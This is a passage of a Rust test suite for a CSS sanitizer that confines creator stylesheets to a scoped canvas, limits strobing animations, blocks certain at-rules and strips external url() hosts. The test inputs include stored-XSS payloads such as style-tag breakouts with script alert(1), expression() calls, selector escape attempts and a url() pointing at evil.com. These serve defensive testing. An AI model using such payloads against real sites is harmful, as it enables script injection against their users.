896 assert!(out.to_lowercase().contains("animation"));
897 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
898 }
899
900 #[test]
901 fn fast_high_finite_count_animation_dropped() {
902 // UX-M5: a fast animation with a high *finite* iteration-count strobes too,
903 // not just `infinite`.
904 let (out, rej) = san(".spin { animation: spin 1s linear 100 }");
905 assert!(!normalize(&out).contains("animation:spin"));
906 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
907
908 // Explicit property form is caught as well.
909 let (_out2, rej2) = san(
910 ".spin { animation-name: spin; animation-duration: 0.5s; animation-iteration-count: 50 }",
911 );
912 assert!(
913 rej2.iter()
914 .any(|r| r.kind == RejectionKind::AnimationBudget)
915 );
916 }
917
918 #[test]
919 fn fast_low_finite_count_animation_kept() {
920 // A handful of iterations at a fast duration is fine, not a strobe.
921 let (out, rej) = san(".spin { animation: spin 1s linear 3 }");
922 assert!(out.to_lowercase().contains("animation"));
923 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
924 }
925
926 #[test]
927 fn expression_function_recorded() {
928 let (out, rej) = san(".x { width: expression(alert(1)) }");
929 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedFunction));
930 // Behavior must match the "blocked" contract: the output must not contain
931 // a working expression() call or its payload.
932 let lower = out.to_ascii_lowercase();
933 assert!(
934 !lower.contains("expression("),
935 "expression() must be neutralized in output: {out}"
936 );
937 assert!(
938 !lower.contains("alert(1)"),
939 "expression() payload must be stripped: {out}"
940 );
941 }
942
943 #[test]
944 fn brace_injection_cannot_escape_scope() {
945 // A creator trying to break out of the wrapper: the parse round-trip
946 // makes the stray brace a no-op, so nothing lands unscoped.
947 let out = scoped("color: red } body { background: red");
948 assert!(!out.contains("\nbody {"));
949 assert!(!out.contains("} body{"));
950 }
951
952 #[test]
953 fn platform_chrome_is_unreachable_from_creator_css() {
954 // The guarantee behind `templates/custom/_chrome_style.html`. The header
955 // and footer are siblings of the canvas, not descendants, so a creator
956 // rule that names them is still emitted under the canvas and matches
957 // nothing. This holds by structure, not by specificity or cascade layer,
958 // which is why the chrome block needs no !important and no layer of its
959 // own.
960 const CANVAS: &str = ".user-canvas#uc-11111111-1111-1111-1111-111111111111";
961 for attempt in [
962 ".mnw-chrome { display: none }",
963 ".mnw-chrome { background: red }",
964 ".mnw-chrome-footer a { color: red }",
965 "body .mnw-chrome { background: red }",
966 "html body .mnw-chrome-brand { font-weight: 100 }",
967 "* { background: red }",
968 ":root .mnw-chrome { background: red }",
969 ".mnw-chrome-actions, .mnw-chrome-brand { visibility: hidden }",
970 ] {
971 let out = scoped(attempt);
972 for line in out.lines().filter(|l| l.contains(".mnw-chrome")) {
973 assert!(
974 line.contains(CANVAS),
975 "a chrome selector escaped the canvas: {line}\nfrom: {attempt}"
976 );
977 }
978 // Nothing may be emitted at the top level of the sheet.
979 assert!(
980 !out.trim_start().starts_with(".mnw-chrome"),
981 "unscoped chrome rule from: {attempt}"
982 );
983 }
984 }
985
986 #[test]
987 fn idempotent_on_sanitized_output() {
988 let once =
989 scoped("p{color:red} .mnw-buy{display:none} .x{background:url(https://evil.com/y)}");
990 let twice = scoped(&once);
991 // Scoping a second time nests under the canvas again but must stay safe:
992 // no external host, no display:none on mnw, reduced-motion present.
993 assert!(!twice.contains("evil.com"));
994 assert!(twice.contains("prefers-reduced-motion"));
995 }
996
997 #[test]
998 fn unsafe_scope_refused() {
999 let (out, rej) = sanitize_css("p{color:red}", "evil}injection", &policy());
1000 assert_eq!(out, "");
1001 assert_eq!(rej.len(), 1);
1002 assert_eq!(rej[0].kind, RejectionKind::MalformedCss);
1003 }
1004
1005 /// Minify sanitized output so each rule is `selector{decls}` on no
1006 /// whitespace, for invariant checks.
1007 fn minify(css: &str) -> String {
1008 StyleSheet::parse(css, parser_options())
1009 .unwrap()
1010 .to_css(PrinterOptions {
1011 minify: true,
1012 ..Default::default()
1013 })
1014 .unwrap()
1015 .code
1016 }
1017
1018 #[test]
1019 fn universal_and_not_selectors_are_scoped() {
1020 // Selectors that classically escape a scope must all end up confined to
1021 // the canvas: no rule may begin with a bare html/body/* selector.
1022 for css in [
1023 "* { color: red }",
1024 ":not(.x) { color: red }",
1025 "html, body { color: red }",
1026 ":root { color: red }",
1027 ] {
1028 let out = minify(&scoped(css));
1029 for bad in ["}*{", "}body{", "}html{", "}:root{"] {
1030 assert!(!out.contains(bad), "unscoped `{bad}` in: {out}");
1031 }
1032 for bad in ["^*{", "^body{", "^html{"] {
1033 let lead = bad.trim_start_matches('^');
1034 assert!(
1035 !out.starts_with(lead),
1036 "leads with unscoped `{lead}`: {out}"
1037 );
1038 }
1039 assert!(out.contains(".user-canvas#uc-"), "scope missing: {out}");
1040 }
1041 }
1042
1043 #[test]
1044 fn media_wrapped_escape_is_scoped() {
1045 let out = scoped("@media screen { body { background: red } }");
1046 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
1047 }
1048
1049 #[test]
1050 fn style_tag_breakout_via_content_string_is_neutralized() {
1051 // The sanitized output is injected raw into `<style>{{ css|safe }}</style>`
1052 // (templates/custom/*.html). The most direct stored-XSS attempt is a
1053 // declaration whose value is a string closing the tag and opening a
1054 // script. The serializer must never emit a literal `</style>` (or a bare
1055 // `<script>`), `<` inside a CSS string token has to come back escaped.
1056 for css in [
1057 r#".x { content: "</style><script>alert(1)</script>" }"#,
1058 r".x::before { content: '</STYLE><SCRIPT>alert(1)</SCRIPT>' }",
1059 r#".x { content: "\3c /style\3e <script>" }"#,
1060 // url() is dropped (external) but the string form must also be safe.
1061 r#".x { background: url("</style><script>x</script>") }"#,
1062 ] {
1063 let out = scoped(css);
1064 let lower = out.to_lowercase();
1065 assert!(
1066 !lower.contains("</style>"),
1067 "literal </style> escaped the block for input `{css}`: {out}"
1068 );
1069 assert!(
1070 !lower.contains("<script>"),
1071 "literal <script> escaped the block for input `{css}`: {out}"
1072 );
1073 }
1074 }
1075
1076 // ── Newer blocked at-rules (the UX-S2 exhaustive-match additions) ──
1077 //
1078 // The match in `visit_rule` has no wildcard arm, so a future lightningcss
1079 // variant fails to COMPILE until triaged, the compiler enforces that no
1080 // variant is both blocked and allowed (a variant can't appear in two arms of
1081 // one match). These tests pin the RUNTIME behavior the compile-check can't:
1082 // that lightningcss parses each of these at-rules into the variant the match
1083 // blocks, so they are actually stripped and recorded rather than emitted.
1084
1085 fn assert_blocked_at_rule(css: &str, marker: &str) {
1086 let (out, rej) = san(css);
1087 assert!(
1088 !out.to_lowercase().contains(marker),
1089 "blocked at-rule `{marker}` leaked into output: {out}"
1090 );
1091 assert!(
1092 rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule),
1093 "no BlockedAtRule rejection recorded for `{marker}`"
1094 );
1095 // A sibling plain rule still survives, only the at-rule is dropped.
1096 assert!(out.contains("color"), "sibling style rule was lost: {out}");
1097 }
1098
1099 #[test]
1100 fn rejects_container() {
1101 assert_blocked_at_rule(
1102 "@container (min-width: 100px) { p { background: red } } p { color: red }",
1103 "@container",
1104 );
1105 }
1106
1107 #[test]
1108 fn rejects_scope() {
1109 assert_blocked_at_rule(
1110 "@scope (.a) { p { background: red } } p { color: red }",
1111 "@scope",
1112 );
1113 }
1114
1115 #[test]
1116 fn rejects_starting_style() {
1117 assert_blocked_at_rule(
1118 "@starting-style { p { background: red } } p { color: red }",
1119 "@starting-style",
1120 );
1121 }
1122
1123 #[test]
1124 fn rejects_view_transition() {
1125 assert_blocked_at_rule(
1126 "@view-transition { navigation: auto } p { color: red }",
1127 "@view-transition",
1128 );
1129 }
1130 }
1131
1132 #[cfg(test)]
1133 mod proptests {
1134 use super::*;
1135 use proptest::prelude::*;
1136
1137 const SCOPE: &str = "22222222-2222-2222-2222-222222222222";
1138
1139 fn policy() -> UrlPolicy {
1140 UrlPolicy::new(
1141 "https://u.makenot.work/a/p",
1142 [
1143 "makenot.work".to_string(),
1144 "u.makenot.work".to_string(),
1145 "cdn.makenot.work".to_string(),
1146 ],
1147 )
1148 .unwrap()
1149 }
1150
1151 proptest! {
1152 // Arbitrary input never panics, and the output is always valid CSS
1153 // (it re-parses cleanly).
1154 #[test]
1155 fn never_panics_output_reparses(input in "\\PC{0,400}") {
1156 let (out, _rej) = sanitize_css(&input, SCOPE, &policy());
1157 prop_assert!(StyleSheet::parse(&out, parser_options()).is_ok(), "invalid output: {out}");
1158 }
1159
1160 // A randomly-built external url() is always neutralized.
1161 #[test]
1162 fn external_url_always_stripped(host in "[a-z]{3,10}", tld in "(com|net|io|xyz)", path in "[a-z0-9]{1,10}") {
1163 let domain = format!("{host}.{tld}");
1164 let css = format!(".x {{ background: url(https://{domain}/{path}) }}");
1165 let out = sanitize_css(&css, SCOPE, &policy()).0;
1166 let leaked = out.contains(&domain);
1167 prop_assert!(!leaked, "leaked host: {}", out);
1168 }
1169
1170 // Every non-empty sanitized sheet confines its style rules to the canvas
1171 // and ends with the reduced-motion guard.
1172 #[test]
1173 fn always_scoped_and_guarded(sel in "[a-z][a-z0-9]{0,8}", prop in "(color|background-color|margin)") {
1174 let css = format!("{sel} {{ {prop}: inherit }}");
1175 let out = sanitize_css(&css, SCOPE, &policy()).0;
1176 let scope_tag = format!("uc-{SCOPE}");
1177 let has_scope = out.contains(&scope_tag);
1178 let has_guard = out.contains("prefers-reduced-motion");
1179 prop_assert!(has_scope, "missing scope: {}", out);
1180 prop_assert!(has_guard, "missing guard: {}", out);
1181 }
1182 }
1183 }
1184